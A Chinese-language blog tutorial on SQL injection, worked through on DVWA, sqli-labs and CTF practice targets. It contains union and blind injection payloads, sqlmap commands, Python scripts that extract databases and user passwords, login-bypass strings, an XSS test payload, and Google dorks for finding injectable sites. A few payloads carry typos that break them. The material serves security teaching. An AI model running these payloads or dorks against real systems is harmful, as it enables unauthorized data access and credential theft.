深入剖析SQL注入(更新中) 前言 入門篇 進階篇 一些感悟

首發地址:我的個人博客

前言

本文章產生的緣由是因爲專業老師,讓我給本專業的同學講一哈SQL注入和XSS入門,也就是本文的入門篇,講完兩節課後,發現自己對於SQL注入的理解也就僅僅侷限於入門,於是有了後面章節的產生。

入門篇

一、課程目標

聽完這節課你能學到些什麼👇

  • 知道什麼是Sql注入
  • 實現最基礎的Sql注入
  • 學會使用SqlMap工具
  • 瞭解一些Web安全基本知識

二、初識SQL注入

1 什麼是SQL

SQL(Structured Query Language) 是用於訪問和處理數據庫的標準的計算機語言,SQL與數據庫程序協同工作,比如 SQL Server、MySQL、Oracle、SQLite、MongoDB、PostgreSQL、MS Access、DB2以及其他數據庫系統。

SQL執行流程

2 什麼是SQL注入

SQL注入是指web應用程序對用戶輸入數據的合法性沒有判斷或過濾不嚴,攻擊者可以在web應用程序中事先定義好的查詢語句的結尾上添加額外的SQL語句,以此來實現欺騙數據庫服務器執行非授權的任意查詢,從而得到相應的數據信息。

通俗來說:OWASP Top10之一,SQL注入是通過將惡意的SQL語句插入到Web應用的輸入參數中,欺騙服務器執行惡意的SQL命令的攻擊。

SQL注入流程

3 SQL注入分類

根據SQL數據類型分類

  • 整型注入
  • 字符型注入

根據注入的語法分類

  • 聯合查詢注入(Union query SQL injection)
  • 報錯型注入(Error-based SQL injection)
  • 布爾型注入(Boolean-based blind SQL injection)
  • 延時注入(Time-based blind SQL injection)
  • 多語句查詢注入 (Stacted queries SQL injection)

三、初試SQL注入

1 手工注入常規思路

1.判斷是否存在注入,注入是字符型還是數字型
2.猜解 SQL 查詢語句中的字段數
3.確定顯示的字段順序
4.獲取當前數據庫
5.獲取數據庫中的表
6.獲取表中的字段名
7.顯示字段信息

2 實現完整手工注入

靶機:DVWA

將DVWA的級別設置爲low,可以看到源碼中是一句簡單的查詢語句,沒有進行任何過過濾

$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';

因此我們完全可以插入自己想要執行的sql語句,那麼我們開始吧!

輸入我們輸入1,那麼執行的語句就是

SELECT first_name, last_name FROM users WHERE user_id = '1'

1.判斷注入是字符型還是數字型

字符型和數字型最大區別: 數字型不需要單引號來閉合,而字符串一般需要通過單引號來閉合的

數字型:select * from table where id =$id

字符型:select * from table where id='$id'

判斷數字型

1 and 1=1 #永真式   select * from table where id=1 and 1=1
1 and 1=2 #永假式   select * from table where id=1 and 1=2
#if頁面運行錯誤,則說明此Sql注入爲數字型注入。

判斷字符型

1' and '1'='1  

1' and '1'='2 
#if頁面運行錯誤,則說明此 Sql 注入爲字符型注入。

執行上面兩種方式一種就可得出結論,顯示這個是字符型注入

2.猜解SQL查詢語句中的字段數

1' or 1=1 order by 1 #    查詢成功  【order by x 對第幾列進行排序】1'  order by 1 #  id=‘1‘  #’ 註釋
1' or 1=1 order by 2 #    查詢成功
1' or 1=1 order by 3 #    查詢失敗

[圖片上傳失敗...(image-675df1-1589763722101)]
說明執行的SQL查詢語句中只有兩個字段,即這裏的First name、Surname。

3.確定顯示的字段順序

1' union select 1,2 #    

說明執行的SQL語句爲select First name,Surname from xx where ID='id'

理解select 1,2:例如一個網站的參數傳遞執行的查詢有3個字段,很可能這些字段不是都顯示在網頁前端的,假如其中的1或2個字段的查詢結果是會返回到前端的,那麼我們就需要知道這3個字段中哪兩個結果會回顯,這個過程相當於找到數據庫與前端顯示的通道。如果我們直接輸入查詢字段進行查詢,語句會非常冗長,而且很可能還需要做很多次測試,這時候我們利用一個簡單的select 1,2,3,根據顯示在頁面上的數字就可以知道哪個數字是這個“通道”,那麼我們只需要把這個數字改成我們想查詢的內容(如id,password),當數據爆破成功後,就會在窗口顯示我們想要的結:果。

4.獲取當前數據庫

上步知道字段顯示順序,那我們在字段2的位置上顯示數據庫試試

1' union select 1,database() #

說明當前的數據庫爲dvwa。

5.獲取數據庫中的表

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

1' union select 1,table_name from information_schema.tables where table_schema='dvwa' #

information_schema.tables存儲了數據表的元數據信息,下面對常用的字段進行介紹:

  • table_schema: 記錄數據庫名
  • table_name: 記錄數據表名
  • engine : 存儲引擎
  • table_rows: 關於表的粗略行估計;
  • data_length : 記錄表的大小(單位字節);
  • index_length : 記錄表的索引的大小
  • row_format: 可以查看數據表是否壓縮過;

[圖片上傳失敗...(image-a76ec8-1589763722101)]

說明數據庫dvwa中一共有兩個表,guestbook與users。

6.獲取表中的字段名

1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #

[圖片上傳失敗...(image-195c58-1589763722101)]

說明users表中有8個字段,分別是user_id,first_name,last_name,user,password,avatar,last_login,failed_login

7.獲取字段信息

1' union select group_concat(user_id,first_name),group_concat(password) from users #

1' union select group_concat(concat_ws(':',first_name,password)),2 from users #

1' union select first_name,password from users #

這樣就得到了users表中所有用戶的user_id,first_name,last_name,password的數據。

3 實戰演練一哈

就以我自己搭建的靶機爲例子🌰

在主頁搜索框發現注入點,話不多說開始注入

#判斷注入類型 #【數字型】
1 and 1=1 
1 and 1=2 

#查詢數據庫 #【test】
-1 union select 1,2,database()

#獲取數據庫中的表 #【admin、news】
-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='test' 

#獲取表中的字段名 #【 user_id、user_name、user_pass】
-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='admin'

#獲取字段信息 【admin:mysql】
-1 union select 1,group_concat(user_name),group_concat(user_pass) from admin
-1 union select 1,user_name,user_pass from admin 

我們又快速的實現了一次手工注入,但是你有沒和我一樣的感覺,太麻煩了,有更方便的方法嗎,emm...

當然有啦,使用SqlMap工具可以快速實現注入👇

四、使用SqlMap注入

具體使用方法請問我之前寫的文章👉sqlmap使用方法

SqlMap初體驗

接着使用上面靶機進行測試

#查詢數據庫 #【test】
python sqlmap.py -u http://139.224.112.182:8801/search.php?id=1 --dbs

#獲取數據庫中的表 #【admin、news】
python sqlmap.py -u http://139.224.112.182:8801/search.php?id=1 -D test --tables

#獲取表中的字段名 #【 user_id、user_name、user_pass】
python sqlmap.py -u http://139.224.112.182:8801/search.php?id=1 -D test -T admin --columns

#獲取字段信息 【admin:mysql】
python sqlmap.py -u http://139.224.112.182:8801/search.php?id=1 -D test -T admin -C user_name,user_pass --dump

一道CTF題目

題目:簡單的sql注入2

地址:http://139.224.112.182:8087/ctf_collect

解析:https://www.jianshu.com/p/1aeedef99f21

1.查詢當前數據庫(空格被過濾可以使用tamper腳本中space2comment)

python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment --dbs 


發現web1數據庫
2.查詢數據庫中的表

python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment -D web1 --tables


發現flag表
3.查詢flag表中字段名

python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment --columns -T flag -D web1


發現flag字段
4.查詢字段flag信息

python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment --dump -C flag -T flag -D web1

<img src="https://i.loli.net/2020/05/04/TfZAoObdMPiLJIt.png" style="zoom: 80%;" />

五、發現注入點

1 使用漏洞掃描工具

工具:OWASP ZAP、D盾、Seay

萬能密碼:

1' or 1=1 # 用戶名和密碼都可  
' or '1'='1' -- 

1' or '1'='1 密碼纔可
<script>alert(1);</script>

2 通過Google Hacking 尋找SQL注入

看到這裏我們已經完成了一次最基礎的GET字符型Sql注入,有人可能會問了,這是自己搭建的靶機,知道是存在sql注入,真實環境中如何去發現Sql注入呢

inurl:php?id=
inurl:.asp?id=
inurl:index.php?id=
inurl:showproduct.asp?id=
site:http://139.224.112.182:8802/ inurl:php?id
site:https://jwt1399.top inurl:.html
......

服務器報錯,並把錯誤信息返回到網頁上面。根據錯誤信息,判斷這裏大概率存在注入點。

六、 修復建議

  1. 過濾用戶輸入的數據。默認情況下,應當認爲用戶的所有輸入都是不安全的。
  2. 對於整數,判斷變量是否符合[0-9]的值;其他限定值,也可以進行合法性校驗;
  3. 對於字符串,對SQL語句特殊字符進行轉義(單引號轉成兩個單引號,雙引號轉成兩個雙引號)。
  4. 綁定變量,使用預編譯語句

進階篇

SQL注入前你要知道

不要急於進行SQL注入,請先看完這部分,很重要!,很重要!,很重要!

1.基本的SQL語句查詢源碼

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
# LIMIT [偏移量],行數

通常情況下聯合查詢(union)時需要將前面的查詢結果限定爲空集,後面的查詢結果才能顯示出來。例如id值設爲負數或0,因爲帶有LIMIT 0,1則只能顯示一條數據

?id=-1 union select 1,2,3
?id=0  union select 1,2,3
?id=-1' union select 1,2,group_concat(username,password) from users

2.MySQL數據庫幾種註釋

註釋符 描述
# 單行註釋 URL編碼 %23,在URL框直接使用中#號必須用%23來表示,#在URL框中有特定含義,代表錨點
--空格 單行註釋 ,實際使用中--空格--+來表示。因爲在URL框中,瀏覽器在發送請求的時候會把URL末尾的空格捨去,所以用--+代替--空格
/* */ 塊註釋
/*! */ 內聯註釋

3.數據庫相關--Information_schema庫

  • information_schema,系統數據庫,包含所有數據庫相關信息。
  • information_schema.schemataschema_name列,字段爲所有數據庫名稱。
  • information_schema.tablestable_name列對應數據庫所有表名
  • information_schema.columns中,column_name列對應所有列名

5.連接字符串函數

concat(),concat_ws()與及group_concat()的用法

  • concat(str1,str2,…)——沒有分隔符地連接字符串

  • concat_ws(separator,str1,str2,…)——含有分隔符地連接字符串

  • group_concat(str1,str2,…)——連接一個組的所有字符串,並以逗號分隔每一條數據,知道這三個函數能一次性查出所有信息就行了。

6.MySQL常用的系統函數

version()            #MySQL版本
user()               #數據庫用戶名
database()           #數據庫名
@@basedir            #數據庫安裝路徑
@@datadir            #數據庫文件存放路徑
@@version_compile_os #操作系統版本

7.sql注入之你問我答

盲注

SQL盲注,與一般注入的區別在於,一般的注入攻擊者可以直接從頁面上看到注入語句的執行結果,而盲注時攻擊者通常是無法從顯示頁面上獲取執行結果,甚至連注入語句是否執行都無從得知,因此盲注的難度要比一般注入高。目前網絡上現存的SQL注入漏洞大多是SQL盲注。

手工盲注思路

手工盲注的過程,就像你與一個機器人聊天,
這個機器人知道的很多,但只會回答“”或者“不是”,
因此你需要詢問它這樣的問題,例如“數據庫名字的第一個字母是不是a啊?
通過這種機械的詢問,最終獲得你想要的數據。

手工盲注的步驟

1.判斷是否存在注入,注入是字符型還是數字型
2.猜解當前數據庫名
3.猜解數據庫中的表名
4.猜解表中的字段名
5.猜解數據

盲注常用函數

函數 描述
left(字符串,截取長度) 從左邊截取指定長度的字符串
length(字符串) 獲取字符串的長度
ascii(字符串) 將指定字符串進行ascii編碼
substr(字符串,start,截取長度) 截取字符串,可以指定起始位置和長度
mid(字符串,start,截取長度) 截取字符串,可以指定起始位置和長度
count() 計算總數,返回匹配條件的行數。
sleep(n) 將程序掛起n秒
if(參數1,參數2,參數3) 參數1爲條件,當參數1返回的結果爲true時,執行參數2,否則執行參數3

布爾盲注

布爾注入利用情景

  • 頁面上沒有顯示位,並且沒有輸出SQL語句執行錯誤信息
  • 只能通過頁面返回正常與不正常判斷

實現完整手工布爾盲注

靶機:sqli-labs第5關

1 .查看頁面變化,判斷sql注入類別

?id=1 and 1=1
?id=1 and 1=2
【字符型】

2.猜解數據庫長度

使用length()判斷數據庫長度,二分法可提高效率

?id=1' and length(database())>5 --+
?id=1' and length(database())<10 --+
?id=1' and length(database())=8 --+
【length=8】

3.猜當前數據庫名

方法1:使用substr函數
?id=1' and substr(database(),1,1)>'r'--+
?id=1' and substr(database(),1,1)<'t'--+
?id=1' and substr(database(),1,1)='s'--+
?id=1' and substr(database(),2,1)='e'--+
...
?id=1' and substr(database(),8,1)='y'--+
【security】
方法2:使用ascii函數和substr函數
?id=1' and ascii(substr(database(),1,1))>114 --+
?id=1' and ascii(substr(database(),1,1))<116 --+
?id=1' and ascii(substr(database(),1,1))=115 --+
【security】
方法3:使用left函數
?id=1' and left(database(),1)>'r'--+
?id=1' and left(database(),1)<'t'--+
?id=1' and left(database(),1)='s' --+
?id=1' and left(database(),2)='se' --+
?id=1' and left(database(),3)='sec' --+
...
?id=1' and left(database(),8)='security' --+
【security】
方法4:使用Burpsuite的Intruder模塊

將獲取數據庫第一個字符的請求包攔截併發送到Intruder模塊

設置攻擊變量以及攻擊類型

設置第一個攻擊變量,這個變量是控制第幾個字符的

設置第二個攻擊變量,這個變量是數據庫名字符

開始攻擊,一小會就能得到測試結果,通過對長度和變量進行排序可以看到數據庫名成功得到

4.判斷表的個數

count()函數是用來統計表中記錄的一個函數,返回匹配條件的行數。

?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>0 --+
?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4 --+
【4個表】

5.判斷表的長度

limit可以被用於強制select語句返回指定的條數。

?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 --+
【第一個表長度爲6】

?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=8 --+
【第二個表長度爲8】

6.猜解表名

方法1:使用substr函數
?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)>'d' --+
?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)>'f' --+
?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e' --+
...
?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),6,1)='s' --+
【第一個表名爲emails】
方法2:使用Burpsuite的Intruder模塊

使用方法跟上方獲得數據庫名一樣,就不贅述了

7.猜解字段名和字段信息

#確定字段個數
?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name = 'users')>0 --+
?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name = 'users')=3 --+
【字段個數爲3】

#確定字段名的長度
?id=1' and length((select  column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 0,1))>0 --+
?id=1' and length((select  column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 0,1))=2 --+
?id=1' and length((select  column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 1,1))=8 --+
【第一個字段長度爲2,第二個字段長度爲8】

#猜字段名 同上使用burp
?id=1' and substr((select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 0,1),1,1)='i'  --+
【...id,username,password...】

#確定字段數據長度
?id=1' and length((select username from users limit 0,1))=4  --+
【第一個字段數據長度爲4】

#猜解字段數據 同上使用burp
?id=1' and substr((select username from users limit 0,1),1,1)='d'  --+

?id=1' and ascii(substr((select username from users limit 0,1),1,1))>79  --+
【第一個username數據爲dumb】

使用SQLmap實現布爾盲注

--batch: 用此參數,不需要用戶輸入,將會使用sqlmap提示的默認值一直運行下去。
--technique:選擇注入技術,B:Boolean-based-blind  (布爾型盲注)
--threads 10 :設置線程爲10,運行速度會更快
#查詢數據庫 #【security】
python sqlmap.py -u http://139.224.112.182:8087/sqli1/Less-5/?id=1 --technique B --dbs --batch --threads 10

#獲取數據庫中的表 #【emails、referers、uagents、users】
python sqlmap.py  -u http://139.224.112.182:8087/sqli1/Less-5/?id=1 --technique B -D security  --tables --batch --threads 10

#獲取表中的字段名 #【id、username、password】
python sqlmap.py -u http://139.224.112.182:8087/sqli1/Less-5/?id=1 --technique B -D security -T users --columns --batch --threads 10

#獲取字段信息 #【Dumb|Dumb、dhakkan|dumbo ...】
python sqlmap.py -u http://139.224.112.182:8087/sqli1/Less-5/?id=1 --technique B -D security -T users -C username,password --dump --batch --threads 10

腳本實現布爾盲注

1.獲取數據庫名長度

# coding:utf-8
import requests

# 獲取數據庫名長度
def database_len():
  for i in range(1, 10):
      url = '''http://139.224.112.182:8087/sqli1/Less-5/'''
      payload = '''?id=1' and length(database())=%d''' %i
      r = requests.get(url + payload + '%23') # %23 <==> --+
      if 'You are in' in r.text:
          print('database_length:', i)
          break
      else:
          print(i)

database_len()
# 【database_length: 8】

2.獲取數據庫名

# coding:utf-8
import requests
#獲取數據庫名
def database_name():
    name = ''
    for j in range(1,9):
        for i in '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_':
            url = "http://139.224.112.182:8087/sqli1/Less-5/"    
            payload = "?id=1' and substr(database(),%d,1)='%s' --+"  %(j, i) 
            r = requests.get(url + payload)
            if 'You are in' in r.text:
                name = name + i
                print(name)
                break
    print('database_name:', name)

database_name()
# 【database_name: security】

3.獲取數據庫中表

# coding:utf-8
import requests
# 獲取數據庫表
def tables_name():
    name = ''
    for j in range(1, 30):
        for i in 'abcdefghijklmnopqrstuvwxyz,':
            url = "http://139.224.112.182:8087/sqli1/Less-5/"    
            payload = '''?id=1' and substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1)='%s' --+''' % (j, i)
            r = requests.get(url + payload)
            if 'You are in' in r.text:
                name = name + i
                print(name)
                break
    print('table_name:', name)

tables_name()

#【table_name: emails,referers,uagents,users】

4.獲取表中字段

# coding:utf-8
import requests

# 獲取表中字段
def columns_name():
    name = ''
    for j in range(1, 30):
        for i in 'abcdefghijklmnopqrstuvwxyz,':
            url = "http://139.224.112.182:8087/sqli1/Less-5/"    
            payload = "?id=1' and substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),%d,1)='%s' --+" %(j, i)        
            r = requests.get(url + payload)
            if 'You are in' in r.text:
                name = name + i
                print(name)
                break
    print('column_name:', name)

columns_name()
#【column_name: id,username,password】

5.獲取字段值

# coding:utf-8
import requests
# 獲取字段值
def value():
    name = ''
    for j in range(1, 100):
        for i in '0123456789abcdefghijklmnopqrstuvwxyz,_-':
            url = "http://139.224.112.182:8087/sqli1/Less-5/"  
            payload = "?id=1' and substr((select group_concat(username,password) from users),%d,1)='%s' --+" %(j, i)    
            r = requests.get(url + payload)
            if 'You are in' in r.text:
                name = name + i
                print(name)
                break
    print('value:', name)

value()

時間盲注

時間注入利用情景

  • 頁面上沒有顯示位
  • 沒有輸出報錯語句
  • 正確的sql語句和錯誤的sql語句頁面返回一致

手工實現時間盲注

靶機:sqli-labs第9關

?id=1 
?id=1'
?id=1"
#不管怎麼樣都不報錯,不管對錯一直顯示一個固定的頁面;

#判斷注入點
?id=1' and sleep(3)--+
#頁面響應延遲,判斷存在時間延遲型注入

#獲取數據庫名長度
?id=1' and if(length(database())=8,sleep(3),1)--+

#獲取數據庫名
?id=1' and if(substr(database(),1,1)='s',sleep(3),1)--+

結合Burpsuite的Intruder模塊爆破數據庫名

將獲取數據庫第一個字符的請求包攔截併發送到Intruder模塊

設置攻擊變量以及攻擊類型

設置第一個攻擊變量,這個變量是控制第幾個字符的

設置第二個攻擊變量,這個變量是數據庫名字符

開始攻擊,一小會就能得到測試結果,通過對長度和變量進行排序可以看到數據庫名成功得到

獲取表名、字段名、字段信息等數據方法同上,就不贅述了

使用SQLmap實現時間盲注

--batch: 用此參數,不需要用戶輸入,將會使用sqlmap提示的默認值一直運行下去。
--technique:選擇注入技術,-T:Time-based blind  (基於時間延遲注入)
--threads 10 :設置線程爲10,運行速度會更快。
#查詢數據庫 #【security】
python sqlmap.py -u http://139.224.112.182:8087/sqli1/Less-9/?id=1 --technique T --dbs --batch --threads 10

#獲取數據庫中的表 #【emails、referers、uagents、users】
python sqlmap.py  -u http://139.224.112.182:8087/sqli1/Less-9/?id=1 --technique T -D security  --tables --batch --threads 10

#獲取表中的字段名 #【id、username、password】
python sqlmap.py -u http://139.224.112.182:8087/sqli1/Less-9/?id=1 --technique T -D security -T users --columns --batch --threads 10 

#獲取字段信息 【Dumb|Dumb、dhakkan|dumbo ...】
python sqlmap.py -u http://139.224.112.182:8087/sqli1/Less-9/?id=1 --technique T -D security -T users -C username,password --dump --batch --threads 10 

腳本實現時間盲注

1.獲取數據庫名長度

# coding:utf-8
import requests
import datetime

# 獲取數據庫名長度
def database_len():
    for i in range(1, 10):
        url = '''http://139.224.112.182:8087/sqli1/Less-9/'''
        payload = '''?id=1' and if(length(database())=%d,sleep(3),1)--+''' %i
        time1 = datetime.datetime.now()
        r = requests.get(url + payload)
        time2 = datetime.datetime.now()
        sec = (time2 - time1).seconds
        if sec >= 3:
            print('database_len:', i)
            break
        else:
            print(i)
            
database_len()

2.獲取數據庫名

# coding:utf-8
import requests
import datetime

#獲取數據庫名
def database_name():
    name = ''
    for j in range(1, 9):
        for i in '0123456789abcdefghijklmnopqrstuvwxyz_':
            url = '''http://139.224.112.182:8087/sqli1/Less-9/'''
            payload = '''?id=1' and if(substr(database(),%d,1)='%s',sleep(1),1) --+''' % (j,i)
            time1 = datetime.datetime.now()
            r = requests.get(url + payload)
            time2 = datetime.datetime.now()
            sec = (time2 - time1).seconds
            if sec >= 1:
                name = name + i
                print(name)
                break
    print('database_name:', name)

database_name()

獲取表名、字段名、字段信息等數據的腳本類似上面布爾盲註腳本,就不贅述了

SQL注入靶場

DVWA

SQL-Injection

Low


分析:
由代碼可知,通過REQUEST方式接受傳遞的參數id,再通過sql語句帶入查詢,並未設置任何過濾,因此可以進行sql注入利用。
常見注入測試的POC:

1.判斷是否存在注入,注入是字符型還是數字型

當輸入的參數爲字符串時,稱爲字符型。字符型和數字型最大的一個區別在於,數字型不需要單引號來閉合,而字符串一般需要通過單引號來閉合的。

輸入1,查詢成功

輸入1'and '1' ='2,查詢失敗,返回結果爲空:

輸入1' or '1'='1 頁面正常,並返回更多信息,成功查詢

判斷存在的是字符型注入。

2.猜解SQL查詢語句中的字段數

1' or 1=1 order by 1 # 
查詢成功
1' or 1=1 order by 2 # 
查詢成功 #是註釋作用
1' or 1=1 order by 3 # 
查詢失敗


說明執行的SQL查詢語句中只有兩個字段,即這裏的First name、Surname。

3.確定顯示的字段順序

輸入1' union select 1,2 # 查詢成功: #是註釋作用


說明執行的SQL語句爲select First name,Surname from 表 where ID=’id’…

4.獲取當前數據庫
輸入1' union select 1,database() # 查詢成功:#是註釋作用

說明當前的數據庫爲dvwa。

5.獲取數據庫中的表

輸入1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() # 查詢成功: #是註釋作用

說明數據庫dvwa中一共有兩個表,guestbook與users。

6.獲取表中的字段名

輸入1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' # 查詢成功: #是註釋作用

說明users表中有8個字段,分別是user_id,first_name,last_name,user,password,avatar,last_login,failed_login。

7.下載數據

輸入1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #,查詢成功: #是註釋作用

這樣就得到了users表中所有用戶的user_id,first_name,last_name,password的數據。

Medium

分析:
Medium級別的代碼利用mysql_real_escape_string函數對特殊符號\x00,\n,\r,,’,”,\x1a進行轉義,同時前端頁面設置了下拉選擇表單,希望以此來控制用戶的輸入。


漏洞利用
雖然前端使用了下拉選擇菜單,但我們依然可以通過抓包改參數,提交惡意構造的查詢參數。

1.判斷是否存在注入,注入是字符型還是數字型

抓包更改參數id爲1' or 1=1 # 報錯: #是註釋作用

抓包更改參數id爲1 or 1=1 #,查詢成功

說明存在數字型注入。
(由於是數字型注入,服務器端的mysql_real_escape_string函數就形同虛設了,因爲數字型注入並不需要藉助引號。)

2.猜解SQL查詢語句中的字段數

抓包更改參數id爲1 order by 2 #,查詢成功:

抓包更改參數id爲1 order by 3 #,報錯:

說明執行的SQL查詢語句中只有兩個字段,即這裏的First name、Surname。

3.確定顯示的字段順序

抓包更改參數id爲1 union select 1,2 #,查詢成功:


說明執行的SQL語句爲select First name,Surname from 表 where ID=id…

4.獲取當前數據庫

抓包更改參數id爲1 union select 1,database() #,查詢成功:

說明當前的數據庫爲dvwa。

5.獲取數據庫中的表

抓包更改參數id爲1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #,查詢成功:

說明數據庫dvwa中一共有兩個表,guestbook與users。

6.獲取表中的字段名

抓包更改參數id爲1 union select 1,group_concat(column_name) from information_schema.columns where table_name=’users’ #,查詢失敗:

這是因爲單引號被轉義了,變成了\'。可以利用16進制進行繞過 ''

抓包更改參數id爲1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0×7573657273 #,查詢成功:

說明users表中有8個字段,分別是user_id,first_name,last_name,user,password,avatar,last_login,failed_login。

7.下載數據

抓包修改參數id爲1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #,查詢成功:

這樣就得到了users表中所有用戶的user_id,first_name,last_name,password的數據。

High

分析:
與Medium級別的代碼相比,High級別的只是在SQL查詢語句中添加了LIMIT 1,希望以此控制只輸出一個結果。

漏洞利用:
雖然添加了LIMIT 1,但是我們可以通過#將其註釋掉。由於手工注入的過程與Low級別基本一樣,直接最後一步演示下載數據。

輸入1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #,查詢成功:

特別注意:High級別的查詢提交頁面與查詢結果顯示頁面不是同一個,也沒有執行302跳轉,這樣做的目的是爲了防止一般的sqlmap注入,因爲sqlmap在注入過程中,無法在查詢提交頁面上獲取查詢的結果,沒有了反饋,也就沒辦法進一步注入。

SQL-Injection(Blind)

SQL盲注,與一般注入的區別在於,一般的注入攻擊者可以直接從頁面上看到注入語句的執行結果,而盲注時攻擊者通常是無法從顯示頁面上獲取執行結果,甚至連注入語句是否執行都無從得知,因此盲注的難度要比一般注入高。目前網絡上現存的SQL注入漏洞大多是SQL盲注。

盲注中常用的幾個函數:
substr(a,b,c):從b位置開始,截取字符串a的c長度 
count():計算總數 
ascii():返回字符的ascii碼 
length():返回字符串的長度 left(a,b):從左往右截取字符串a的前b個字符 
sleep(n):將程序掛起n秒

手工盲注思路

手工盲注的過程,就像你與一個機器人聊天,這個機器人知道的很多,但只會回答“是”或者“不是”,因此你需要詢問它這樣的問題,例如“數據庫名字的第一個字母是不是a啊?”,通過這種機械的詢問,最終獲得你想要的數據。

盲注分爲基於布爾的盲注、基於時間的盲注以及基於報錯的盲注,這裏只演示基於布爾的盲注與基於時間的盲注。

下面簡要介紹手工盲注的步驟(可與之前的手工注入作比較):

1.判斷是否存在注入,注入是字符型還是數字型 
2.猜解當前數據庫名 
3.猜解數據庫中的表名
4.猜解表中的字段名 
5.猜解數據
Low

分析:
Low級別的代碼對參數id沒有做任何檢查、過濾,存在明顯的SQL注入漏洞,同時SQL語句查詢返回的結果只有兩種:
User ID exists in the database.‘與‘ User ID is MISSING from the database.
因此這裏是SQL盲注漏洞。

漏洞利用

基於布爾的盲注:

1.判斷是否存在注入,注入是字符型還是數字型

當輸入的參數爲字符串時,稱爲字符型。字符型和數字型最大的一個區別在於,數字型不需要單引號來閉合,而字符串一般需要通過單引號來閉合的。

輸入1,顯示相應用戶存在:

輸入1’ and 1=1 #,顯示存在:

輸入1’ and 1=2 #,顯示不存在:

2.猜解當前數據庫名

想要猜解數據庫名,首先要猜解數據庫名的長度,然後挨個猜解字符。

輸入1’ and length(database())=1 #,顯示不存在;
輸入1’ and length(database())=2 #,顯示不存在;
輸入1’ and length(database())=3 #,顯示不存在;
輸入1’ and length(database())=4 #,顯示存在:

說明數據庫名長度爲4。

下面採用二分法猜解數據庫名。

輸入1' and ascii(substr(databse(),1,1))>97 #,顯示存在,說明數據庫名的第一個字符的ascii值大於97(小寫字母a的ascii值);
輸入1' and ascii(substr(databse(),1,1))<122 #,顯示存在,說明數據庫名的第一個字符的ascii值小於122(小寫字母z的ascii值);
輸入1' and ascii(substr(databse(),1,1))<109 #,顯示存在,說明數據庫名的第一個字符的ascii值小於109(小寫字母m的ascii值);
輸入1' and ascii(substr(databse(),1,1))<103 #,顯示存在,說明數據庫名的第一個字符的ascii值小於103(小寫字母g的ascii值);
輸入1' and ascii(substr(databse(),1,1))<100 #,顯示不存在,說明數據庫名的第一個字符的ascii值不小於100(小寫字母d的ascii值);
輸入1' and ascii(substr(databse(),1,1))>100 #,顯示不存在,說明數據庫名的第一個字符的ascii值不大於100(小寫字母d的ascii值),所以數據庫名的第一個字符的ascii值爲100,即小寫字母d。
…

重複上述步驟,就可以猜解出完整的數據庫名(dvwa)了。

3.猜解數據庫中的表名

首先猜解數據庫中表的數量:

1' and (select count (table_name) from information_schema.tables where table_schema=database())=1 # 顯示不存在
1' and (select count (table_name) from information_schema.tables where table_schema=database() )=2 # 顯示存在

說明數據庫中共有兩個表。

接着挨個猜解表名:

1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 # 顯示不存在 
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2 # 顯示不存在
 … 
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # 顯示存在

說明第一個表名長度爲9。

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # 顯示存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 # 顯示存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109 # 顯示存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 # 顯示不存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=data'ase() limit 0,1),1,1))>103 # 顯示不存在

說明第一個表的名字的第一個字符爲小寫字母g。

重複上述步驟,即可猜解出兩個表名(guestbook、users)。

4.猜解表中的字段名

首先猜解表中字段的數量:

1' and (select count(column_name) from information_schema.columns where table_name= ’users’)=1 # 顯示不存在 
...
1' and (select count(column_name) from information_schema.columns where table_name= ’users’)=8 # 顯示存在

說明users表有8個字段。

接着挨個猜解字段名:

1’ and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1 # 顯示不存在
…
1’ and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7 # 顯示存在

說明users表的第一個字段爲7個字符長度。

採用二分法,即可猜解出所有字段名。

5.猜解數據

